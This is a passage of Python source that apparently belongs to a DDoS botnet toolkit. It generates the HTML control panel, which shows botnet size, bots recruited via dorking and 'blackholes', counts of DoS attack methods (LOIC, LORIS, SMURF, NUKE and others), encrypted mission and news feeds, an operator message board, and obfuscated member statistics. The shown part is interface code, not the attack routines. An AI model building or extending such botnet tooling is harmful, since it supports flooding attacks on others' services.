  371. <td>RANKING:</td><td align='right'>""" + str(your_ranking) + """</td></tr>
  372. <tr><td>Flying (times):</td><td align='right'><font color='red'>""" + str(self.aflying) + """</font></td></tr>
  373. </table>
  374. <br>
  375. <table border="1" cellpadding="5" cellspacing="10"><tr>
  376. <td><b><u>Missions:</u></b></td></tr>
  377. <tr>
  378. <td>Created (launched):</td><td align='right'><font color='red'>""" + str(self.amissions) + """</font></td></tr>
  379. <tr>
  380. <td>Attacks (completed):</td><td align='right'><font color='blue'>""" + str(self.acompleted) + """</font></td></tr>
  381. <tr>
  382. <td>Targets (crashed):</td><td align='right'><font color='green'>""" + str(self.tcrashed) + """</font></td></tr>
  383. <tr>
  384. <td>Crashing (T*100/A=C%):</td><td align='right'><font color='orange'>""" + str(round(self.mothership_acc, 2)) + """%</font></td></tr>
  385. </table>
  386. </td><td>
  387. <table border="1" cellpadding="5" cellspacing="10"><tr>
  388. <td><b><u>Botnet:</u></b></td></tr>
  389. <tr>
  390. <td>Total Cargo (now):</td><td align='right'><a href='javascript:runCommandX("cmd_list_army")'>"""+ self.total_botnet +"""</a></td></tr>
  391. <tr>
  392. <td>Scanner (new bots via dorking):</td>
  393. <td align='right'><font color='blue'>""" + str(self.ascanner) + """</font></td></tr>
  394. <tr>
  395. <td>Transferred (new bots via blackholes):</td>
  396. <td align='right'><font color='green'>""" + str(self.atransferred) + """</font></td></tr>
  397. <tr>
  398. <td>Max. Chargo (always): </td><td align='right'><font color='orange'>""" + str(self.amax_chargo) + """</font></td></tr>
  399. </table>
  400. <br>
  401. <table border="1" cellpadding="5" cellspacing="10"><tr>
  402. <td><b><u>Weapons (use):</u></b></td></tr>
  403. <tr>
  404. <td>LOIC:</td><td align='right'><font color='cyan'>""" + str(self.aloic) + """</font></td>
  405. <td>LORIS:</td><td align='right'><font color='cyan'>""" + str(self.aloris) + """</font></td></tr>
  406. <tr>
  407. <td>UFOSYN:</td><td align='right'><font color='cyan'>""" + str(self.aufosyn) + """</font></td>
  408. <td>SPRAY:</td><td align='right'><font color='cyan'>""" + str(self.aspray) + """</font></td></tr>
  409. <tr>
  410. <td>SMURF:</td><td align='right'><font color='cyan'>""" + str(self.asmurf) + """</font></td>
  411. <td>XMAS:</td><td align='right'><font color='cyan'>""" + str(self.axmas) + """</font></td></tr>
  412. <tr>
  413. <td>NUKE:</td><td align='right'><font color='cyan'>""" + str(self.anuke) + """</font></td>
  414. <td>TACHYON:</td><td align='right'><font color='cyan'>""" + str(self.atachyon) + """</font></td></tr>
  415. </tr>
  416. </table>
  417. </td></tr></table>
  418. <br><hr>
  419. <div id="cmdOut"></div>
  420. """ + self.pages["/footer"]
  421. def hmac_sha1(self, key, msg):
  422. if len(key) > 20:
  423. key = sha1(key).digest()
  424. key += chr(0) * (20 - len(key))
  425. o_key_pad = key.translate(self.trans_5C)
  426. i_key_pad = key.translate(self.trans_36)
  427. return sha1(o_key_pad + sha1(i_key_pad + msg).digest()).digest()
  428. def derive_keys(self, key):
  429. h = sha256()
  430. h.update(key)
  431. h.update('cipher')
  432. cipher_key = h.digest()
  433. h = sha256()
  434. h.update(key)
  435. h.update('mac')
  436. mac_key = h.digest()
  437. return (cipher_key, mac_key)
  438. def decrypt(self, key, text):
  439. KEY_SIZE = 32
  440. BLOCK_SIZE = 16
  441. MAC_SIZE = 20
  442. mode = AES.MODE_CFB
  443. try:
  444. iv_ciphertext_mac = b64decode(text)
  445. except TypeError:
  446. return None
  447. iv = iv_ciphertext_mac[:BLOCK_SIZE]
  448. ciphertext = iv_ciphertext_mac[BLOCK_SIZE:-MAC_SIZE]
  449. mac = iv_ciphertext_mac[-MAC_SIZE:]
  450. (cipher_key, mac_key) = self.derive_keys(key)
  451. expected_mac = self.hmac_sha1(mac_key, iv + ciphertext)
  452. if mac != expected_mac:
  453. return None
  454. aes = AES.new(cipher_key, mode, iv)
  455. self.decryptedtext = aes.decrypt(ciphertext)
  456. def encrypt(self, key, text):
  457. from server.crypter import Cipher
  458. from base64 import b64encode, b64decode
  459. key = b64encode(key)
  460. c = Cipher(key, text)
  461. msg = c.encrypt()
  462. c.set_text(msg)
  463. self.encryptedtext = str(msg)
  464. def html_news(self):
  465. return self.pages["/header"] + """<script language="javascript">
  466. function Decrypt(){
  467. news_key=document.getElementById("news_key").value
  468. if(news_key == "") {
  469. window.alert("You need to enter a valid key (provided by someone)");
  470. return
  471. }else{
  472. params="news_key="+escape(news_key)
  473. runCommandX("cmd_decrypt",params)
  474. document.getElementById("nb1").style.display = "none";
  475. }
  476. }
  477. </script>
  478. <script language="javascript">
  479. function RefreshNews(){
  480. news_source=document.getElementById("news_source").value
  481. if(news_source == "") {
  482. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  483. return
  484. }else{
  485. params="news_source="+escape(news_source)
  486. runCommandX("cmd_refresh_news",params)
  487. document.getElementById("nb1").style.display = "none";
  488. setTimeout("location.reload()", 10000)
  489. }
  490. }
  491. </script>
  492. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  493. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  494. <br>
  495. <center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
  496. <td>Blackhole/IP:</td>
  497. <td><input type="text" name="news_source" id="news_source" size="20" value='"""+default_blackhole+"""'></td>
  498. </tr></table></td><td><button title="Search for records on that blackhole..." onclick="RefreshNews()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Search News...</button></td></tr></table>
  499. <hr>
  500. <table cellpadding="5" cellspacing="5"><tr>
  501. <td><a href="javascript:alert('Psihiz says: """ + self.ranking + """... Welcome to CryptoNews!...');"><img src="/images/aliens/alien1.png"></a></td><td>
  502. <table cellpading="5" cellspacing="10"><tr><td>
  503. <form method='GET'>
  504. Your key: <input type="text" name="news_key" id="news_key" size="20" value='"""+str(self.crypto_key)+"""'>
  505. </td></tr><tr><td>
  506. <a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt();>Try decryption!</a>
  507. </form>
  508. </td></tr></table></td></tr></table>
  509. <hr><br>
  510. </center>
  511. Last update: <font color='"""+ self.news_status_color + """'>"""+ self.news_datetime + """</font><br><br>
  512. <div id="cmdOut"></div>
  513. <div id="nb1" style="display: block;">"""+self.news_text+"""</div><br><br>
  514. """ + self.pages["/footer"]
  515. def html_missions(self):
  516. return self.pages["/header"] + """<script language="javascript">
  517. function Decrypt(){
  518. missions_key=document.getElementById("missions_key").value
  519. if(missions_key == "") {
  520. window.alert("You need to enter a valid key (provided by someone)");
  521. return
  522. }else{
  523. params="missions_key="+escape(missions_key)
  524. runCommandX("cmd_decrypt",params)
  525. document.getElementById("nb1").style.display = "none";
  526. }
  527. }
  528. </script>
  529. <script language="javascript">
  530. function RefreshMissions(){
  531. missions_source=document.getElementById("missions_source").value
  532. if(missions_source == "") {
  533. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  534. return
  535. }else{
  536. params="missions_source="+escape(missions_source)
  537. runCommandX("cmd_refresh_missions",params)
  538. document.getElementById("nb1").style.display = "none";
  539. setTimeout("location.reload()", 10000)
  540. }
  541. }
  542. </script>
  543. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  544. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  545. <br>
  546. <center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
  547. <td>Blackhole/IP:</td>
  548. <td><input type="text" name="missions_source" id="missions_source" size="20" value='"""+default_blackhole+"""'></td>
  549. </tr></table></td><td><button title="Search for records on that blackhole..." onclick="RefreshMissions()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Search missions...</button></td></tr></table>
  550. <hr>
  551. <table cellpadding="5" cellspacing="5"><tr>
  552. <td><a href="javascript:alert('Mnahät says: """ + self.ranking + """... Welcome to CryptoMissions!...');"><img src="/images/aliens/alien2.png"></a></td><td>
  553. <table cellpading="5" cellspacing="10"><tr><td>
  554. <form method='GET'>
  555. Your key: <input type="text" name="missions_key" id="missions_key" size="20" value='"""+str(self.crypto_key)+"""'>
  556. </td></tr><tr><td>
  557. <a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt();>Try decryption!</a>
  558. </form>
  559. </td></tr></table></td></tr></table>
  560. <hr><br>
  561. </center>
  562. Last update: <font color='"""+ self.missions_status_color + """'>"""+ self.missions_datetime + """</font><br><br>
  563. <div id="cmdOut"></div>
  564. <div id="nb1" style="display: block;">"""+self.missions_text+"""</div><br><br>
  565. """ + self.pages["/footer"]
  566. def html_board(self):
  567. self.board_welcome = "<div id='board_warning' style='display: none;'><pre><u>WARNING:</u> <br><br> 1) This is our 'Space Cantina': DON'T BE A LAMER!!! <br> 2) NO language RESTRICTIONS <br> 3) ABUSING == #HACKBACK (THIS IS NOT KIND OF FAME YOU WANT)<br> 4) CONTENT can be MODIFIED/REMOVED without notice<br> 5) LOVE, DONATIONS and REPORTS -> <a href='http://127.0.0.1:9999/help' target='_blank'>HERE</a></pre></div>" # board hardcoded warning (hehe)
  568. self.board_topic = "<select id='board_selector'><option value='general'>GENERAL</option><option value='opsec'> - OPSEC: #UFOSTORM</option><option value='faq'>UFONET/FAQ</option><option value='bugs'>UFONET/BUGS</option><option value='media'>UFONET/MEDIA</option></select>"
  569. self.board_send_msg = "<button title='Send your message to the Board (REMEMBER: you will cannot remove it!)...' onclick='SendMessage()'>SEND IT!</button>"
  570. if '"profile_token": "NONE"' in open(self.mothership_boardcfg_file).read():
  571. device_state = "OFF"
  572. device = "Board device: <font color='red'>OFF</font><br>"
  573. else:
  574. device_state = "ON"
  575. self.moderator_text = ''.join(random.sample(self.moderator_text,len(self.moderator_text)))
  576. boardcfg_json_file = open(self.mothership_boardcfg_file, "r") # extract mothership boardcfg
  577. data = json.load(boardcfg_json_file)
  578. boardcfg_json_file.close()
  579. profile_token = data["profile_token"]
  580. profile_icon = data["profile_icon"]
  581. profile_nick = data["profile_nick"]
  582. self.profile_nick.encode('utf-8')
  583. device = "<u>OPERATOR/LINK:</u> <font color='green'>ON</font><br><table cellpadding='5'><tr><td><img src='images/crew/"+str(profile_icon)+".png'></td></tr><tr><td> -NICKNAME: "+self.profile_nick.encode('utf-8')+"</td></tr><tr><td> -ID: "+str(profile_token)+"</td></tr></table>"
  584. if device_state == "OFF":
  585. board_filter = ""
  586. else:
  587. board_filter = "<table cellpadding='5' border='1'><tr><td><input type='radio' name='filter' id='filter_all' value='ALL' CHECKED>/ALL<br> </td><td><input type='radio' name='filter' id='filter_general' value='GENERAL'>/GENERAL</td><td><input type='radio' name='filter' id='filter_opsec' value='OPSEC'>/#OPSEC<br> </td><td><input type='radio' name='filter' id='filter_faq' value='FAQ'>/FAQ</td><td><input type='radio' name='filter' id='filter_bugs' value='BUGS'>/BUGS</td><td><input type='radio' name='filter' id='filter_media' value='MEDIA'>/MEDIA</td></tr></table>"
  588. if device_state == "OFF":
  589. sync_panel = ""
  590. else:
  591. sync_panel = "<table cellpadding='2' cellspacing='2'><tr><td><table cellpadding='5' cellspacing='5'><tr><td>Blackhole/IP:</td><td><input type='text' name='board_source' id='board_source' size='20' value='"+default_blackhole+"'></td></tr></table></td><td><button title='Search for records on that blackhole...' onclick='SyncBoard()' style='color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;'>Sync device...</button></td></tr></table><br><hr>"
  592. if device_state == "OFF":
  593. board_panel = ""
  594. else:
  595. with open(self.board_file) as f:
  596. for line in f:
  597. line = line.strip()
  598. self.board_warning += "\n" + " " + line + " " + "\n"
  599. f.close()
  600. self.moderator_text = re.sub("(.{100})", "\\1\n", self.moderator_text, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  601. l = time.ctime(os.path.getmtime(self.board_file)) # get last modified time
  602. board_panel = "<form method='GET'><table cellpadding='5'><tr><td><table cellpadding='10' border='1'><tr><td><table cellpadding='10' border='1'><tr><td> <input type='radio' name='board_action' id='read' onclick='javascript:OptionsCheck();' CHECKED> READ<br> </td><td> <input type='radio' name='board_action' id='write' onclick='javascript:OptionsCheck();'> WRITE<br></td></tr></table></td><td> KEY: <input type='text' name='board_key' id='board_key' size='20' value='"+str(self.crypto_key)+"'> </td></tr></table></td><td><div style='display:block' id='board_read'><table cellpadding='5'><tr><td>"+board_filter+"</td></tr><tr><td><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_board();>Try decryption!</a></td></tr></table></div></td></tr><tr><td>"+self.board_welcome+"</td><td><div style='display:none' id='board_send'><table cellpadding='10' border='1'><tr><td><table cellpadding='10' border='1'><tr><td>Blackhole/IP:</td><td><input type='text' name='board_source_send' id='board_source_send' size='20' value='"+default_blackhole+"'></td></tr><tr><td>TOPIC:</td><td>"+self.board_topic+"</td></tr><tr><td>MESSAGE:</td><td><textarea rows='3' cols='50' name='stream_txt' id='stream_txt' maxlength='140' placeholder='Enter your message (1-140 chars)...'></textarea></td></tr><tr><td>"+self.board_send_msg+"</td></tr></table></td></tr></table></div></td></tr></table></form><br><hr><br><div id='sync_panel_block' name='sync_panel_block' style='display:none;'>"+sync_panel+"<br></div><u>CRYPTO-BOARD</u>: (Last Update: <font color='green'>"+str(l)+"</font>)<br><br><div id='cmdOut'></div><div id='nb1' style='display: block;'>"+self.moderator_text+"</div><br><br>"
  603. if device_state == "OFF":
  604. remove_profile = ""
  605. else:
  606. remove_profile = '| <button title="Syncronize data from a blackhole/board with your device..." onclick="Sync_panel()">DOWNLOAD!</button> | <button title="Remove your profile and turn OFF this device..." onclick="RemoveProfile()">TURN OFF!</button>'
  607. return self.pages["/header"] + """<script language="javascript">
  608. function BoardProfile() {
  609. var win_board_profile = window.open("board_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  610. }
  611. function RemoveProfile() {
  612. var win_board_profile = window.open("board_remove","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  613. }
  614. function Decrypt_board(){
  615. board_key=document.getElementById("board_key").value
  616. if (document.getElementById('filter_all').checked) {
  617. filter = document.getElementById('filter_all').value;
  618. }
  619. if (document.getElementById('filter_general').checked) {
  620. filter = document.getElementById('filter_general').value;
  621. }
  622. if (document.getElementById('filter_opsec').checked) {
  623. filter = document.getElementById('filter_opsec').value;
  624. }
  625. if (document.getElementById('filter_faq').checked) {
  626. filter = document.getElementById('filter_faq').value;
  627. }
  628. if (document.getElementById('filter_bugs').checked) {
  629. filter = document.getElementById('filter_bugs').value;
  630. }
  631. if (document.getElementById('filter_media').checked) {
  632. filter = document.getElementById('filter_media').value;
  633. }
  634. if(board_key == "") {
  635. window.alert("You need to enter a valid key (provided by someone)");
  636. return
  637. }else{
  638. params="board_key="+escape(board_key)+"&filter="+escape(filter)
  639. runCommandX("cmd_decrypt_moderator_board",params)
  640. document.getElementById("nb1").style.display = "none";
  641. }
  642. }
  643. function OptionsCheck() {
  644. if (document.getElementById('read').checked) {
  645. document.getElementById('board_read').style.display = 'block';
  646. document.getElementById('board_send').style.display = 'none';
  647. document.getElementById('board_warning').style.display = 'none';
  648. }
  649. else if(document.getElementById('write').checked) {
  650. document.getElementById('board_send').style.display = 'block';
  651. document.getElementById('board_warning').style.display = 'block';
  652. document.getElementById('board_read').style.display = 'none';
  653. }
  654. }
  655. function Sync_panel(){
  656. document.getElementById("sync_panel_block").style.display = "block";
  657. }
  658. function SyncBoard(){
  659. document.getElementById('nb1').style.display = 'none';
  660. board_source=document.getElementById("board_source").value
  661. if(board_source == "") {
  662. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  663. return
  664. }else{
  665. params="board_source="+escape(board_source)
  666. runCommandX("cmd_sync_board",params)
  667. setTimeout("location.reload()", 10000)
  668. }
  669. }
  670. </script>
  671. <script language="javascript">
  672. function SendMessage() {
  673. board_source=document.getElementById("board_source_send").value
  674. board_key=document.getElementById("board_key").value
  675. stream_txt=document.getElementById("stream_txt").value
  676. board_selector=document.getElementById("board_selector");
  677. board_topic = board_selector.options[board_selector.selectedIndex].value;
  678. if(board_key == "") {
  679. board_key='"""+str(self.crypto_key)+"""';
  680. }else{
  681. if(stream_txt == "") {
  682. window.alert("You need to enter a message! (~ 1-140 characters)");
  683. return
  684. }else{
  685. if(board_source == "") {
  686. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  687. return
  688. }else{
  689. params="board_source="+escape(board_source)+"&board_key="+escape(board_key)+"&board_topic="+escape(board_topic)+"&stream_txt="+escape(stream_txt)
  690. runCommandX("cmd_send_message_board",params)
  691. setTimeout("location.reload()", 10000)
  692. }
  693. }
  694. }
  695. }
  696. </script>
  697. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  698. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  699. <br>
  700. <center>
  701. <table cellpadding="5" cellspacing="5"><tr>
  702. <td><a href="javascript:alert('Riättth says: """ + self.ranking + """... Welcome to the Board. You can generate new identities every time that you want. But remember that, this can be a dangerous place. Just respect to others to be respected... Keep safe and enjoy it. COPYCAT!.');"><img src="/images/board.png"></a></td><td>
  703. <table cellpading="5" cellspacing="10"><tr><td>"""+device+"""<br><button title="Set your profile for this device..." onclick="BoardProfile()">CONFIGURE!</button> """+remove_profile+"""
  704. </td></tr></table></tr></table>
  705. <hr><br>"""+board_panel+"""
  706. """ + self.pages["/footer"]
  707. def generate_grid(self):
  708. with open(self.grid_file) as f:
  709. for line in f:
  710. line = line.strip()
  711. f.close()
  712. mothership_members = 0 # mothership_members stats bonus
  713. unknown_members = 0 # unknown (or non decrypted) mothership members
  714. grid_table = "<center><u>MEMBERS STATS:</u></center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>NICKNAME:</u></td><td align='center'><u>RANK:</u></td><td align='center'><u>CHARGO:</u></td><td align='center'><u>DORKING:</u></td><td align='center'><u>TRANSF:</u></td><td align='center'><u>MAX.CHARGO:</u></td><td align='center'><u>MISSIONS:</u></td><td align='center'><u>ATTACKS:</u></td><td align='center'><u>LOIC:</u></td><td align='center'><u>LORIS:</u></td><td align='center'><u>UFOSYN:</u></td><td align='center'><u>SPRAY:</u></td><td align='center'><u>SMURF:</u></td><td align='center'><u>XMAS:</u></td><td align='center'><u>NUKE:</u></td><td align='center'><u>TACHYON:</u></td><td align='center'><u>CONTACT:</u></td></tr>"
  715. for m in self.list_grid: # msg = nickname, ranking, chargo, dorking, transf, maxchargo, missions, attacks, loic, loris, ufosyn, spray, smurf, xmas, nuke, tachyon, contact, ID
  716. if grid_msg_sep in m:
  717. version = m.count(grid_msg_sep) # check UFONet stream version (made for compatibility with old motherships)
  718. m = m.split(grid_msg_sep)
  719. mothership_members = mothership_members + 1
  720. grid_nickname = m[0][0:12]
  721. grid_nickname = ''.join(random.sample(grid_nickname,len(grid_nickname))) # nickname (obfuscation+str12)
  722. grid_ranking = m[1][0:4] # ranking (is parsed later using a symbol)
  723. grid_ranking = ''.join(random.sample(grid_ranking,len(grid_ranking))) # ranking (obfuscation)
  724. grid_totalchargo = m[2][0:4] # total chargo
  725. grid_totalchargo = ''.join(random.sample(grid_totalchargo,len(grid_totalchargo))) # totalchargo (obfuscation)
  726. grid_dorking = m[3][0:4] # dorking
  727. grid_dorking = ''.join(random.sample(grid_dorking,len(grid_dorking))) # dorking (obfuscation)
  728. grid_transferred = m[4][0:4] # transferred
  729. grid_transferred = ''.join(random.sample(grid_transferred,len(grid_transferred))) # transferred (obfuscation)
  730. grid_maxchargo = m[5][0:4] # maxchargo
  731. grid_maxchargo = ''.join(random.sample(grid_maxchargo,len(grid_maxchargo))) # maxchargo (obfuscation)
  732. grid_missions = m[6][0:4] # missions
  733. grid_missions = ''.join(random.sample(grid_missions,len(grid_missions))) # missions (obfuscation)
  734. grid_attacks = m[7][0:4] # attacks
  735. grid_attacks = ''.join(random.sample(grid_attacks,len(grid_attacks))) # attacks (obfuscation)
  736. grid_loic = m[8][0:4] # loic
  737. grid_loic = ''.join(random.sample(grid_loic,len(grid_loic))) # loic (obfuscation)
  738. if version > 16: # v1.3
  739. grid_loris = m[9][0:4] # loris
  740. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  741. grid_ufosyn = m[10][0:4] # ufosyn
  742. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  743. grid_spray = m[11][0:4] # spray
  744. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  745. grid_smurf = m[12][0:4] # smurf
  746. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  747. grid_xmas = m[13][0:4] # xmas
  748. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  749. grid_nuke = m[14][0:4] # nuke
  750. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  751. grid_tachyon = m[15][0:4] # tachyon
  752. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  753. try:
  754. grid_contact = "<a href=javascript:alert('"+str(m[16][0:12])+"');>View</a>" # js contact view (obfuscation)
  755. except:
  756. grid_contact= "invalid"
  757. try:
  758. grid_id = m[17] # id (plain id)
  759. except:
  760. grid_id = "invalid!"
  761. elif version == 16: # v1.2.1
  762. grid_loris = m[9][0:4] # loris
  763. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  764. grid_ufosyn = m[10][0:4] # ufosyn
  765. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  766. grid_spray = m[11][0:4] # spray
  767. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  768. grid_smurf = m[12][0:4] # smurf
  769. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  770. grid_xmas = m[13][0:4] # xmas
  771. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  772. grid_nuke = m[14][0:4] # nuke
  773. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  774. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
  775. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  776. try:
  777. grid_contact = "<a href=javascript:alert('"+str(m[15][0:12])+"');>View</a>" # js contact view (obfuscation)
  778. except:
  779. grid_contact= "invalid"
  780. try:
  781. grid_id = m[16] # id (plain id)
  782. except:
  783. grid_id = "invalid!"
  784. elif version == 15: # v1.2
  785. grid_loris = m[9][0:4] # loris
  786. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  787. grid_ufosyn = m[10][0:4] # ufosyn
  788. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  789. grid_spray = m[11][0:4] # spray
  790. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  791. grid_smurf = m[12][0:4] # smurf
  792. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  793. grid_xmas = m[13][0:4] # xmas
  794. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  795. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present
  796. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  797. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
  798. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  799. try:
  800. grid_contact = "<a href=javascript:alert('"+str(m[14][0:12])+"');>View</a>" # js contact view (obfuscation)
  801. except:
  802. grid_contact= "invalid"
  803. try:
  804. grid_id = m[15] # id (plain id)
  805. except:
  806. grid_id = "invalid!"
  807. elif version == 12: # v1.1
  808. grid_loris = m[9][0:4] # loris
  809. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  810. grid_ufosyn = m[10][0:4] # ufosyn
  811. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  812. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not spray present
  813. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  814. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not smurf present
  815. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  816. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not xmas present
  817. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  818. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present
  819. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  820. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
  821. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  822. grid_contact = "<a href=javascript:alert('"+str(m[11][0:12])+"');>View</a>" # js contact view (obfuscation)
  823. try:
  824. grid_id = m[12] # id (plain id)
  825. except:
  826. grid_id = "invalid!"
  827. elif version == 11: # v1.0
  828. grid_loris = m[9][0:4] # loris
  829. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  830. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufosyn present
  831. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  832. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not spray present
  833. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  834. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not smurf present
  835. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  836. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not xmas present
  837. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  838. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present
  839. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  840. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
  841. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  842. grid_contact = "<a href=javascript:alert('"+str(m[10][0:12])+"');>View</a>" # js contact view (obfuscation)
  843. try:
  844. grid_id = m[11] # id (plain id)
  845. except:
  846. grid_id = "invalid!"
  847. elif version == 10: # v0.9
  848. grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not loris present
  849. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  850. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufosyn present
  851. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  852. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not spray present
  853. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  854. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not smurf present
  855. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
